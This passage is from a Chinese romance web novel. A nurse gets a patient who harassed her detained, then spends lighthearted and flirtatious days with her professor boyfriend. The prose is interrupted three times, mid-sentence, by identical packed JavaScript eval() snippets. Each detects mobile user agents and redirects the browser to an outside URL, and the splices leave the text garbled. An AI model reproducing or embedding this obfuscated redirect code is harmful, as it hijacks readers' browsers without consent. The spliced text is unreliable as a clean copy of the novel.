“涂夏!”护士长喊她名字,“又冲动!” “狗东西。”涂夏咬着牙骂。 护士把她推到休息室里:“你先缓缓。” * 下班后,涂夏换了衣服,大步流星地往病房走,让她跟一个流氓道歉,想都不要想。 三床的家属是个老太太,头发花白,带着金丝框眼镜,喜欢看书,特别儒雅。涂夏刚开始都好奇她跟三床是不是亲母子,但后来一想老来子娇贵,家里疼,纵得他无法无天。 涂夏推门进了病房,指着三床的鼻子骂:“有胆子做,没胆子承认,你个怂货。” 老太太懵了,她放下手里的保温餐盒,看向涂夏,问:“姑娘,你是?” “阿姨。”涂夏看了老太太一眼,“您儿子就是一流氓,放到以前,早把他枪毙了。” “你神经病啊?”三床骂她。 涂夏把袖子撸了起来,哼笑一声:“被人伺候的感觉舒服吗?” 三床没认出来她,依旧低声骂着。 老太太拉住涂夏的胳膊,问:“姑娘,这怎么回事啊?你要把话说清楚啊?” 涂夏看老太太年纪大了,别再因为这事气出个好歹来,就摆了摆手往外走。 “欸,你站住。”三床忽然出声,“骂了人就想走啊?”他抬手按了呼叫器,很快,值夜班的护士进来,看见涂夏的那秒瞬间愣住。 同事轻咳了两下嗓子,装作没认出来,她问:“刚才就听见你们病房吵,怎么了这是?” 三床说:“她不分青红皂白地就对着我一通乱骂,关键我压根就不认识她,你们医院就是这么保护患者安全的?我要报警。” “报警?”同事愣了,看了眼涂夏。 涂夏说:“行啊,报警。” 同事推她:“你走错病房了吧。” 这时三床顺嘴骂了句神经病。 同事翻了个白眼,说:“你不是不认识吗?她走错病房了,骂错了人,你是男人就多担待一点,大事化小,小事化了,就这么算了吧。” “算了?”三床嚷着嗓子喊:“凭什么就算了?” 21. 第 21 章 赵聿明是和警察同时来的。 护士长也在他们到来后不久,从家里赶来。 “我要说的都说了。”涂夏声音平静,她当着所有人的面,把事情的来龙去脉讲了一遍,“起因就是他趁我工作的时候摸我大腿,并且喜欢在我上班的时候问我‘你男朋友好还是我好’,‘我身材好不好’,‘我腰好肾好要不要试试’一类的问题,我想这叫性骚扰。” 赵聿明眼里闪过惊诧,这些事情涂夏从未跟他讲过,看着她颤动的肩膀,心里皱巴巴的疼。 警察问三床:“有什么想说的吗?” “她说我摸她大腿,说我性骚扰,有什么证据吗?张张嘴,说两句就要抓我,别太冤枉人。”三床依旧死不承认,他半躺在床上,两条腿叉开摆着,脸上写满了你能把我怎么样。 他没嘚瑟几秒,两道声音随之响起。 “有监控。” “我有视频。” 所有人将目光移向二床,他抬起头,悻悻地摸了摸鼻子,有些不好意思,他说:“我拍视频没别的意思,就觉得你长得好看。” 说得好听,其实也是偷拍性质。 警察问:“视频呢?” 二床掏出手机,找出相册里的视频给他看,画面很清晰,时间线也对得上,三床没话说了。 护士长说:“科室有24h监控,能调记录。” 查完监控,值班医生给三床开了出院手续。 当晚离院,拘留五天。 * 回到家,涂夏一语不发地坐在沙发上,赵聿明在厨房里做饭,他有点生气,但又很心疼。 涂夏缓过神,走到厨房,从他背后抱住。 “你哄哄我呗。”她的脸很凉,嗓子也有些哑,不知道是哭的还是感冒没完全好,“我怕自己忍不住脾气惹事儿,到时候你又该生气了,可是……对不起……” 泪水打湿了他的衣服,沁到皮肤上,很烫。 她没想哭的,可就是忍不住。 在爱里长大的人,受了委屈就掉小珍珠。 赵聿明放下手上的东西,转身将涂夏抱在怀里,低头亲了亲她的发顶,轻声安慰:“该说对不起的是我,想哭就哭吧,我一直都在呢。” 掌心抚过后背,自上而下,很轻很缓。 他感觉自己身前湿了大片。 “我有点闷。”涂夏抬起头看他,眼睛肿的像两个核桃,“你抱的太紧了。” 赵聿明松了松手,问:“现在呢?” 涂夏嗯了一声:“好点了。” 安静两秒,赵聿明问:“还想哭吗?” “不想了。”涂夏摇头,“本来就没想哭。” 赵聿明的笑声在她头顶响起,他问:“没想哭我衣服怎么湿了?都是你口水?” 涂夏推他:“你才流口水。” 吃过晚饭,两人依偎在一起,赵聿明看着涂夏欲言又止,他很想说些什么,但一见到她布满红血丝的眼睛,就什么话都说不出来了。 涂夏看了会儿电影,眼皮越来越沉,但她还不想睡,事情没解决,睡不着。 她闭上眼,轻声问:“你怪我吗?” 赵聿明愣了愣神,说:“我怪我自己。” “其实……这种事情很常见。”涂夏的声音逐渐变小,她又开始哽咽,“但我是第一次碰上。” 赵聿明没说话,低头亲掉她的眼泪。 “我没想瞒着你。”涂夏浑身发抖,说话也连不成整句,“我工作……特殊,碰见不公平,也只能……忍下来。” 赵聿明一边给她顺气,一边说:“我今天的确有点生气,但只气了一会儿。夏天,你前男友把你堵在家门口,他骚扰你,弄伤了你的手腕,你瞒着不告诉我,我觉得你不信任我,就找理由安慰自己,说刚认识没多久,不信任正常,可现在呢?你受了委屈依旧不告诉我,是觉得我不值得你信任,还是觉得告诉了我,我依旧会跟你讲大道理。”他眼睛红了,心里又酸又涩。 “对不起。”涂夏脸上糊满了眼泪,鼻涕也跟着往下流,全都蹭到了他的衣服上,“我只是不想让你跟着担心……对不起……” “你没必要说什么对不起。”赵聿文伸手抹掉她脸上的泪水,又用袖子给她擦了擦鼻涕,一个哭成了花脸,一个满身脏兮兮的,两人现在的模样,只能用狼狈来形容,“不哭了。” 涂夏哽咽地点点头。 关于信任,好像无解。 总有些秘密,要埋藏在心底。 “我不想说什么如果有下次。”赵聿明将身体前倾,让她靠在自己肩膀上,右手抚上她的后颈,声音温柔,“因为我希望永远没有下次。” 回想第一次见面,她吊儿郎当的真让人没什么可信度,可人又不能只看第一眼印象。 虽然说话满嘴跑火车,但绝不含糊工作。 她的生命如此鲜活。 就好像灰扑扑的天空,忽然出现一抹绚烂彩霞。她是希望,亦是方向。 * 第二天,涂夏照常上班,她刚进更衣室就被同事团团围住,“哇,你这眼睛肿的,都快赶上悲伤蛙了。” 涂夏喝了口咖啡,说:“早起水肿。” “鬼才信。”孙佳艺撇撇嘴,她在楼下等电梯的时候就听见一群家属在哪儿嘀咕,“我可听说警察都来了,最后咋处理的,抓进去了?” “你都听说了,还让我讲什么?”涂夏说。 孙佳艺笑得殷勤:“就听了一点儿。” 涂夏继续喝着咖啡,她没心情讲这些,虽然错在对方,但她也不想让自己成为别人茶余饭后的谈资,她摇了摇头,说:“我不想说这些,你也别问了,反正都解决完了,这事儿在我这儿就彻底翻篇了。” “行吧行吧。”孙佳艺尴尬地笑笑。 更衣室一片安静,谁摊上这事谁糟心。 换好护士服,涂夏开始工作,她今天是连班,从早上八点上到上午十点半,中间休息一个小时,再值个午班,等正常班的同事来了,她就能下班了。 十点钟左右,涂夏空闲下来,她往走廊上看了一眼,起身找到实习生,要订午餐了。 她掏出手机,解锁屏幕,看见通知栏有三条未读消息,全是赵聿明发来的。 【我做了你爱吃的菜,十点去医院。】 【给你和你的同事们带了奶茶。】 【我出发了,看见了就回个消息。】 涂夏打字回道: 【看见了,辛苦辛苦。】 【你准备了几人份?我还有学生呢。】 此时赵聿明正在等红灯,他听见手机传来两声信息提示音,连忙看了一眼。他手指刚点上键盘,红灯就变绿了,只好等会儿再回。 到了下一个红灯路口,赵聿明一手握着方向盘,一手回消息:【你和我的双人餐。】 涂夏看见他的回复,直接乐了。 幼稚鬼。 “妹妹,今天中午你去餐厅吃吧。”她从口袋里掏出饭卡,递给实习生,“想吃什么随便点。” 实习生摆了摆手,没接,她说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781374|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师我饭卡里有钱。” 涂夏把饭卡塞到实习生手里,笑着说:“你又没工资,吃点饭怎么了,别跟我客气。” 实习生为难地说:“那好吧。谢谢老师。” “这是我应该做的,你不用觉得不好意思。”涂夏拍了拍她的肩膀,“再等个几分钟,你把治疗车推回去,收拾干净,就洗手下班。” “嗯。”实习生点头。 十点半一到,涂夏的手机准时响了。 她接起电话,问:“你到医院了吗?” 赵聿明两双手都没空着,他把手机夹在耳朵和肩膀之间进了电梯,麻烦别人按了楼层键。 他说:“我在电梯里,马上就到。” 涂夏说了声好,就去电梯间等着了。 几分钟后,赵聿明拎着满手的东西从电梯里出来,涂夏赶紧走过去,分了一半。 “你怎么不让我下去接你。”涂夏问。 “没多少。”赵聿明笑了笑,“这些是我们俩的,这些是分给你同事的。” 涂夏看了眼奶茶袋,数了一下多少杯。 赵聿明说:“放心,只多不少,我按照你排班表点的,实习生也有。” “那就行。”涂夏点头,“你要跟我进去吗?” 赵聿明问:“可以吗?” 涂夏知道他心里在想什么,故意逗他说:“不可以,你在这里等会儿吧。” “好吧。”赵聿明虽然有点失望,但只能乖乖照做,“奶茶有点沉,我先提着,等出了电梯间就给你,保证不去护士站。” 出了电梯间没两步就是护士站,扭个脸的功夫就能看见他,去不去的,压根没差别。 涂夏没忍住笑了,她说:“你跟我来吧。” 赵聿明问:“会不会影响你们工作?” “我说会你就不想去了吗?”涂夏笑着看他,要不是她穿着护士服,担心影响不好,她是真想伸手捏捏他的脸,茶里茶气的,好会赖皮。 赵聿明低下头,说:“我听你的。” “走吧。”涂夏看了他一眼,“我就一个小时吃饭时间,再浪费真的要饿肚子了。” “好。”赵聿明笑了笑。 两人走到护士站,跟同事打了声招呼。 坐在护士站里的几位站了起来,她们看一眼涂夏,又看一眼赵聿明,惊讶地问:“这是你男朋友啊?” 涂夏点点头,说:“中午请大家喝奶茶。” “这么大方啊?”同事打趣道。 “一杯奶茶而已。”涂夏淡淡地笑了笑,“我就先提到更衣室了,你们下班分一下,实习生也有,可别漏了。” 有些人淋了雨会撕烂别人的伞。 而有些人,会给别人撑一把伞。 涂夏就是给别人撑伞的。 路过医生办公室,她也给分了一袋。苏亭宇接过奶茶也没客气两句,用吸管扎开就喝。 涂夏皱着眉,语气嫌弃:“野猪行为,珍珠别卡嗓子里了,到时候还得抢救你。” 苏亭宇笑了笑,眼睛放到赵聿明身上。 赵聿明也去看他,两个男人隔空对视,周遭气息可谓是剑拔弩张。 “不介绍一下?”苏亭宇问。 “我男朋友。”涂夏用一句话介绍完,牵起赵聿明的手往外走,“我带你去会议室。” 他的手心发烫,手指上有很明显的印记。 涂夏看了一眼,都勒红了。 “疼不疼?”涂夏搓了搓他的手。 赵聿明摇头说:“不疼。” 22. 第 22 章 会议室有一面超大玻璃,楼层又高,能俯瞰半座城,中间是合并着的两张桌子,四周摆满了板凳,靠窗单放了一张长桌。 涂夏走过去,把保温袋放在长桌上,她拉开凳子,回头看了眼赵聿明,说:“快过来。” 赵聿明在她旁边坐下,伸手打开餐盒,里面荤素各半。涂夏的难受劲儿过了,胃口也比生病的时候好了许多,每天运动量大,容易饿,要多吃点肉,所以做了照烧鸡腿和滑蛋虾仁。她不吃菜梗,只吃菜叶,素菜就是清炒油麦菜和蚝油生菜。没有奶茶,但是有鲜榨青苹果汁,他在里面加了点蜂蜜,用来中和青苹果的酸。 “为什么我没有奶茶?”涂夏拿起筷子,眼尾扫过二人之间的玻璃吸管杯,“又是果汁。” 赵聿明说:“奶茶糖太多,不健康。” 涂夏问:“那你还给其他人买。” “她们是她们,你是你。”赵聿明看向她,弯唇轻笑,“我只关心你一个人的健康,至于你同事们的健康,又跟我没什么关系。” “?”涂夏有些惊讶,“我以为你是什么玛丽苏圣父呢,怀揣着拯救苍生的梦想,满脑子都是道德和正义。你这一番话,着实让我意想不到。” 赵聿明伸出手指,弹了弹她的脑门,问:“想什么呢?我也是人,一个普普通通的人,时间有限,精力有限,把你照顾好保护好,就足够了。” 涂夏拍了拍他的手,皱着眉说:“疼。” “快吃饭吧,一会儿饭菜该凉了。”赵聿明把餐盒往她那里推了推,“多吃点肉,你都瘦了。” “嗯。”涂夏点点头,往嘴里塞了块鸡腿肉,她满意地竖起大拇指,“好吃好吃。” 赵聿明笑了笑,说:“好吃就多吃点。” 饭吃到一半,涂夏越想越不对劲儿,她放下筷子,扭头看向赵聿明,问:“你今天来医院到底是为了给我送午饭,还是为了宣示主权?” 赵聿明沉默了两秒,抽出纸巾擦掉粘在她嘴角的饭粒,眼神晦暗不明,他想,一半一半吧。 “我是来给你撑腰的。”赵聿明说。 “……”这次轮到涂夏沉默了,“我爸也这样。” 赵聿明怔了一下,问:“什么?” 涂夏把头扭了回来,她看向窗外,莫名有些感慨,左手撑起下巴,轻声说:“我刚上小学老被班里小男生欺负,每次回家身上都是青一块紫一块的,我又爱哭,显得特惨,我爸就跑到学校里,找老师,找校长,他说你们不管我管,他站在我们教室讲台上,揪着其中一个小男孩的衣服领子说,你要在欺负我闺女,我就先揍死你,再揍死你爸妈。”她说完笑了一下,“是不是挺□□的。” “你怎么老被欺负啊?”赵聿明没有笑,就这样安静地看着她。他的心揪成了一团。 “我长得好看呗。”涂夏歪头看他,“那些小男生特别坏,觉得欺负我,我就能听话。” 赵聿明问:“后来呢?” 涂夏微微一笑:“后来我就成他们老大了。” “嗯?”赵聿明蹙起眉,“你混成孩子王了?” 这件事要说起来还真有点离谱,涂爸年轻时候是道上混的,小辫儿加刺青,一脸凶相,就抱着胳膊往哪儿一站,谁敢惹? “差不多吧,但都是看在我爸的面子上。” “……”赵聿明的心情有些复杂。 果然,强者从不抱怨环境。 休息时间结束,涂夏又要开始工作了,她把最后一口果汁喝掉,收拾好餐具,起身对赵聿明说:“你先回家休息吧。” 赵聿明坐在椅子上,纹丝不动,他摇摇头,说:“我等你一起回家。” 涂夏说:“我还要三个多小时才下班呢。” “我知道。”赵聿明回头看了眼会议室,“这里中午有人用吗?” “没有……” “那你去工作吧,我在这里等你。” “行吧……”涂夏无奈地点了点头,“我用不用给你拿本书看?人体解剖学要不要?” 赵聿明笑了,说:“不用,你去忙你的。” 涂夏抿了抿唇,“那我去工作了。” “好。”赵聿明点头。 今天是休息日,中午不算很忙,时间一晃而过。回家路上,涂夏把座椅稍微放平,系好安全带,调整好姿势,闭眼补觉。 车停进地库,赵聿明轻声把她喊醒。 “到家了?”涂夏睡意不减,眼睛眯成一条缝,看看赵聿明,又看看车窗外,她低下头,伸出双手揉了揉脸,“怎么这么快。” 赵聿明给她解开安全带,“回家再睡。” 涂夏点点头,“嗯。” 她推门下车,被地库里阴嗖嗖的风吹得直打寒颤,抬手裹紧外套,一溜小跑着进了电梯,“我好冷啊,你走快点。” “来了。”赵聿明把车锁好,快步跟上去。 按下楼层键,电梯缓缓上行,到家后,涂夏先拽着他去卫生间洗了个手,“我教你七步洗手法。” “我也要学吗?”赵聿明问。 “医院病菌多,来回推门按电梯的,多脏啊。”涂夏拿起医用洗手液往他手上挤了一泵,“如果你不学,以后就别来医院找我。” 赵聿明摇头,“那不行。” 涂夏没忍住笑了,她开始按照教科书上的步骤一步步的教他。 赵聿明学着她的样子开始洗手,他的手很好看,皮肤不算白,但胜在十指修长,骨节分明,手背血管清晰,可谓是粗直有弹性。初次见面,最先吸引到涂夏的不是他的长相和身材,而是他这一双手,她当时满脑子都是好完美的血管,好想给他扎一针。 “是这样吗?”赵聿明做到最后一步,抬起眼睛,含情脉脉地看向她,“我做的对不起?”他的语气就像是撒娇求表扬,涂夏听得愣了神,赵聿明又问了一遍:“对不对?” “啊?”涂夏反应过来,连连点头,“对对对。” 赵聿明低头笑了,“想什么呢?” 涂夏冲干净手,望着他犹豫了几秒,最后弯起唇角,仰着脸问:“你刚刚在撒娇吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781375|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “撒娇?”赵聿明不承认,“没有。” 涂夏哦了一声,“那是我听错了。”她从赵聿明身边绕了出去,回头叮嘱一句:“记得换衣服。”她没洁癖,但是有点职业病,总觉得跟医院接触过的东西都沾上了病菌。 赵聿明侧着身子,控诉道:“你这老师当的有点不负责啊,下课了吗?就提前离开。” “你都学会了。”涂夏撇撇嘴,转身回了卧室,赵聿明看着她的身影消失在走廊拐角,依依不舍地收回视线,他抬头看了眼镜子里的自己,无奈地发出一声轻笑。 吃过晚饭,涂夏说要出去遛弯消食,赵聿明不让,说感冒刚好,要再养几天。涂夏无事可做,四仰八叉地躺在沙发上,一条胳膊垂在地上,一条胳膊悬在半空中,张着嘴等投喂。 “赵聿明,你会不会嫌我很废。”涂夏嚼着苹果,两个腮帮子鼓鼓囊囊的,像个小仓鼠。 “为什么会这样想?”赵聿明穿了件深灰色居家服,规规矩矩地坐在旁边的单人沙发上,他左手端着果盘,右手拿着果叉,眼里噙着笑意,俨然一副伺候你我很开心的样子。 涂夏又张了张嘴,“我要哈密瓜。” 赵聿明笑着说了声好。 “因为我什么都不会。”涂夏看着天花板,认真思考着,“我不会做饭,也不会做家务,情绪有点不稳定,脾气差的要死,工作也不是很努力,每天都在混日子等退休。” 涂夏对自己的认知非常清晰,有人评价她是扶不起的阿斗,她笑着表示赞同。卷又卷不赢,躺又躺不平,只能选择随便吧,爱咋咋地。 “做饭和家务,没人规定必须要会,至于情绪不稳定,脾气很差……”赵聿明说到这里戛然而止,他往自己嘴里塞了颗青提,“是有点。” 涂夏听到最后这句,蹭地翻了个身,撑着胳膊趴在沙发上,不可置信地问:“连你也这么觉得啊?” 赵聿明蓦地一笑,“可我喜欢你这样。” “啊?”涂夏愣了,“你有受虐倾向啊?” “没有。”赵聿明摇头。 涂夏问:“那你怎么还喜欢我这样?” 因为我喜欢的是你,你什么样我都喜欢。 赵聿明捏了一颗青提喂她,弯折食指在她脸颊上轻点两下,“喜欢又不需要理由。” 他漆黑的瞳孔里,闪着一丝亮光,涂夏忽然想到了那句在网络上很流行的广告语—— 喜欢你没道理。 “恋爱脑。”涂夏笑着损他。 “我不是。”赵聿明摇头反驳,“我只恋你。” 涂夏直女发言:“你上什么恋爱培训班了?” “……”赵聿明一脸无语,“还吃水果吗?” 涂夏摇了摇头,她站起身,一只脚踩在地板上,一条腿单膝跪在沙发上,跟求婚一样。 “你真上了啊?”涂夏瞪大眼睛,满脸的不可思议,“OMG!物理教授上恋爱培训班?!这是什么惊天大瓜!” 赵聿明叹了口气,说:“我没有……” 23. 第 23 章 一场秋雨一场寒,冷风卷起地上湿漉漉的枯叶,在空中转了几个圈,最后落在人工喷泉水池里,不远处的保安,缩着脖子,打量过路行人。 涂夏从药店里出来,被突如其来的西风杀了个回马枪,她立刻背过身顺着风,头发被吹得飘了起来,伸手戴上帽子,头顶的两只兔耳朵随着她的步伐一晃一晃的。她低着头,抄着口袋,右手腕上挂了个塑料袋,里面是几盒消炎药。 天气湿冷,涂夏扛不住,嚷着要吃辣火锅暖身体,赵聿明舍命陪君子,结果就是,一个口腔溃疡,一个咽喉肿痛。 回到家,涂夏把药放在茶几上,倒了两杯热水放凉,她敲了敲书房的门,没等里面的人回应,悄悄地推开了一条门缝,探着闹到往里面看,赵聿明刚巧抬起头,两人对视一眼。 涂夏嘿嘿地笑了笑,“我买了点药,你要不要吃点?” 赵聿明冲她招了招手,“过来。” “干嘛呀?”涂夏推开门,慢悠悠地走过去,她掰着手指,笑得特乖,“你嘴巴还疼吗?” 赵聿明舔了舔口腔上的破皮,有股血腥味,他点点头,沉声道:“疼,特别疼。” 涂夏闻言皱起眉,开始甩锅,她的声音很弱,简直是毫无底气,“我又没逼着你跟我一起吃,你可以吃水煮菜啊?” “水煮菜?”赵聿明正襟危坐,两条小臂平放在桌面上,右手指间夹了一支钢笔,嘴角挂着一抹浅浅的笑意,两人一坐一站,太像办公室里训话的老师和犯错的学生了。涂夏心想,怪不得她老弟害怕,就这模样,阎王爷来了都得抖三抖。 “对啊,水煮菜。”涂夏硬着头皮答。 赵聿明挑挑眉,一副了然的样子。 “你离我那么远干什么?”赵聿明拿话点她,“以前撒娇耍赖的劲儿呢?” 涂夏看他放松了神色,屁颠屁颠地走到他面前,双手撑在书桌上,探着半个身子,眨了眨眼睛,笑着问:“不生气啦?” “本来就没生气。”赵聿明放下钢笔,伸手揉捏她的脸,“吓唬你的,没下次了。”他停顿两秒,“虽然你肠胃好,但也不能这么折腾。” “知道啦知道啦。”涂夏立刻答应,“我倒了水,都快凉了,去把药吃了吧。” 赵聿明静了两秒,“你去给我拿来。” “不带这样的啊。”涂夏把他手扒开,“当大爷当上瘾了啊?咱俩谁伺候谁啊?” 赵聿明笑了,“我伺候你,但这次你让让我。”他学着涂夏赖皮的样子,“就这一次,好不好嘛。” 涂夏被他软塌塌的嗓音电得浑身发颤,熟男撒娇还真是让人无法抵抗,“行吧行吧。” 涂夏去客厅先把自己的药吃了,随后又准备好赵聿明的那份,端起水杯回到书房。 他坐姿未变,还是那样端正。 涂夏把药放他手心里,又递过去水杯,赵聿明一把塞进嘴里,仰头喝水,喉结随着吞咽的动作上下滑动,脖颈扬起,精致的锁骨若隐若现,腰背挺直,臀线清晰。 他在家时喜欢穿居家服,上衣加下裤,没有那么多花里胡哨的设计,布料要不是真丝,要么是纯棉,主打一个舒适贴身。涂夏观察过他走路的动作,长腿有力,臀部挺翘,她很好奇赵聿明的屁股摸起来是什么感觉,应该不会很软,他经常锻炼,或许有点硬。 视线从上到下扫过一遍,涂夏心里的歪心思都快写到脸上了,赵聿明放下水杯看她。 “想什么呢?” 涂夏笑了笑,有些不好意思地开口:“我想摸你屁股,可以吗?” “嗯?”赵聿明皱起眉,“你说什么?” 涂夏耍赖,“哎呀,你听到了的。” 赵聿明:“我没听见,你再说一遍。” 心思一旦起了,就很难收回去,赵聿明的屁股她一天不摸到,就会一天不死心。 涂夏伸出胳膊抱着他的脖子撒娇,一脸的痴相,声音又娇又软,哪还有平常张牙舞爪的样子,她笑着说:“我想摸你屁股。” “耍流氓啊?”赵聿明问。 “哎呀。”涂夏亲亲他,“你是我男朋友,这怎么能叫耍流氓呢,这叫对彼此身体的探索。” 对彼此身体……的探索…… 赵聿明被这几个字弄红了耳尖,只是涂夏满脑子都是要摸他屁股,压根没注意到。 “你真的……”赵聿明犹豫两秒,“想摸?” “嗯嗯嗯。”涂夏疯狂点头,“给摸吗?” 赵聿明咽了咽口水,说实话他还挺期待的,涂夏的手又小又软,搁着两层布料摸他,他的二兄弟……可能会开心的扬起头。 淫念一闪而过,他快速摇头,“不给。” 涂夏傻眼了,连忙问:“为什么?” “不为什么。”赵聿明站了起来,“我去阳台收衣服,你不要跟过来。”他走得又急又快,独留下涂夏在原地发愣,“搞什么呀。” 赵聿明来到阳台,抬头瞥见几件衣服之间夹着的那两块小小的布料,脑子一懵,低声骂了句“操”,他骂完才意识到自己爆了粗口,真就是色昏了头。 他没收衣服,扭脸去了卫生间。 两人在一起的这几个月,一直是他住主卧,涂夏住次卧,平常会依偎在沙发上看个电影睡个午觉,香香软软的身体倒在他怀里,他还要装作无事发生的样子,偏就是涂夏喜欢逗他撩他,只抱几分钟,就满身燥热。 涂夏从书房出来,没看见赵聿明,心里还惦记着摸他屁股呢,就满屋子乱喊他名字。 赵聿明站在卫生间里和二兄弟打架,耳边传来她酥软娇俏的嗓音,心里又烦又燥,他把水龙头开到最大,试图掩盖掉她的声音。奈何涂夏自己找了上来,她站在外面,敲着门问:“赵聿明,你干嘛呢?” “上厕所。”赵聿明声音里染了欲望,低沉又沙哑,“不给摸屁股,别想了。” “我没想。”涂夏靠在墙边,听着里面的动静,弯唇一笑,使着坏心思故意问:“你上厕所这么长时间啊?”她捂着嘴憋笑,“都告诉你了,及时如厕,保持良好的上厕所习惯,你这样容易把肾搞坏了。” 赵聿明咬着牙,“涂夏!”刚才还撒娇卖萌求原谅呢,一会儿工夫就又来撩拨他,“求你了。” “求我什么?求我别惦记你屁股吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781376|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵聿明沉默了。 几分钟后,他开门出来,冷着一张脸,眼尾微红,涂夏扫了眼卫生间,地板是湿的,花洒还在往下滴水,赵聿明往旁边挪了一步,挡住她的视线。 “干嘛?”涂夏仰起脸,“不让看啊?” 赵聿明大手揽过她的腰,顺势一带,他的身上有些寒意,涂夏被激得打冷颤。 “我是个男人。”赵聿明又气又无奈,他特意强调:“一个心理生理都正常的男人。” 涂夏两条白净的胳膊悬在半空中,她比赵聿明还要慌乱:“你先松开我好不好?我有点喘不上来气。” 赵聿明听完手压的更紧了,涂夏被吓的脸色涨红:“赵聿明,我以后不逗你了,你别这样好不好。” 今天的赵聿明太反常了,跟他平常的君子作风一点不沾边,反倒有些像衣冠禽兽。 赵聿明哼笑一声,“好啊。”他托起涂夏的后脑勺,俯身咬上她的嘴唇,细细研磨,舌头撬开齿关,口腔里的溃疡被刺激得阵阵发疼,涂夏也不好受,嗓子又干又痛。 这是个极具侵略性的吻。赵聿明一改往日温柔,他不再是浅尝辄止,而是不放过她口腔里的每一处,涂夏被呛的咳嗽了两声。 赵聿明松开她的唇,两人气息纠缠,涂夏平复好呼吸看他,眼泪夺眶而出,“都怪你,我嗓子好疼,腰也好疼。” “好好好。”赵聿明秒跪:“我错了,我错了好不好,别哭别哭,眼睛又该肿了。” 涂夏伸手推他,“本来就是你的错。” “嗯。”赵聿明点头,“我的错。”他又变成了老样子,真是收放自如。 “你起开,我不想原谅你。”涂夏挣扎个不停,眼泪哗哗地往下流,她咧着嘴吸鼻子。 赵聿明哄她:“让你摸屁股好不好?”女人和二兄弟之间,他选了女人,“想摸多久都可以。” 涂夏忽然不哭了,花这一张脸问:“真的?” 赵聿明被她变脸的速度惊到了,但还是面不改色地点了点头,他笑着说:“真的。” “那你松开我。”赵聿明松了手,涂夏又指挥他,“转过去。” 赵聿明转过身,涂夏盯着他圆润饱满的屁股看了很久,最后试探着把手放了上去。 尽管做足了心理准备,但赵聿明的耳朵还是不可控制地红了,他咬紧牙,身体绷直,直到涂夏的手落在他屁股那刻,掌心上下滑动,摸了个来回,他在心里骂了一句真是要命。 等涂夏摸够了移开手,赵聿明回头问了一句:“开心了?” “嗯。”涂夏脸上的泪干了,嘴角上扬,有点可怜也有点可爱,“你屁股好圆好翘。” 赵聿明嗯了一声,又进了卫生间。 涂夏憋不住笑了,“要我帮你吗?” “不用。”赵聿明也不藏着掖着了,直接把衣服脱了,站在花洒下,洗起了澡。 “真不用?”涂夏敲了敲门,“你看着我会不会好一点。” 赵聿明走得急,忘了锁门,涂夏轻轻地压了下门把手,门就开了,两人大眼瞪小眼。 视线下移,涂夏直接看呆了。 24. 第 24 章 自那天赵聿明对她坦诚相见后,涂夏是茶不思饭不想,满脑袋都是他腿间那二两肉,看来是要听长辈的话,早点结婚,早点把他睡到手。 她坐在餐桌前,单手撑起下巴,一双眼睛在赵聿明身上来回扫视,感叹一声,真带感。 赵聿明察觉到了身后的目光,低头勾着唇笑,他用汤勺搅了搅锅里的杂粮粥,香气扑鼻。 做好早饭,端上桌,涂夏还在痴痴地望着他。赵聿明乐了,早知道这样,他就应该在涂夏调戏他的时候扒了自己裤子给她看。 “吃饭。”赵聿明戳了戳她的脑袋。 涂夏笑着点点头,“我要半碗杂粮粥。” 赵聿明说了声好,给她盛了半碗又送到手边,放下陶瓷勺,去剥茶叶蛋。 “赵聿明,你真帅。”涂夏说。 “才发现?”赵聿明抬起眼皮看她。 涂夏努努嘴,“一直都帅。” 赵聿明笑了下,抬手把剥好的茶叶蛋递给她,问:“明天万圣夜,想去哪儿玩?” 涂夏低头咬了口茶叶蛋,一边嚼一边思考,“去游乐场吧,一定很热闹,我们去鬼屋。” “行。”赵聿明点头,“到时候别哭。” 涂夏扫他一眼,说:“我在医院上夜班,那都是午夜惊魂,走廊散发着绿油油的光,体重秤会自动报数,感应式水龙头会自动流水,电梯门自动开合,你说神不神。” 科学解释不清的事情,一律归类为玄学。 赵聿明静了一会,问:“你害怕吗?” “怕啊。”涂夏几乎是脱口而出,“怎么不怕,但怕又没什么用,我妈给我求了保护符,我一直在身上带着。”她把保护符从口袋里拿了出来,摊开在手心,“等有机会我们去寺庙,我也给你求一个,求平安健康,顺遂无忧。” “好。”赵聿明弯唇一笑。 吃过早饭,涂夏照常去上班,赵聿明八点有课,没有送她,让她打车去,路费报销。 赵聿明为人大方,出手阔绰,隔三差五地就给涂夏发个红包,涂夏问他不过节也不过生日的,干嘛给她发钱,虽然赵聿明给出的理由也很鬼扯,但涂夏听了蛮开心的。 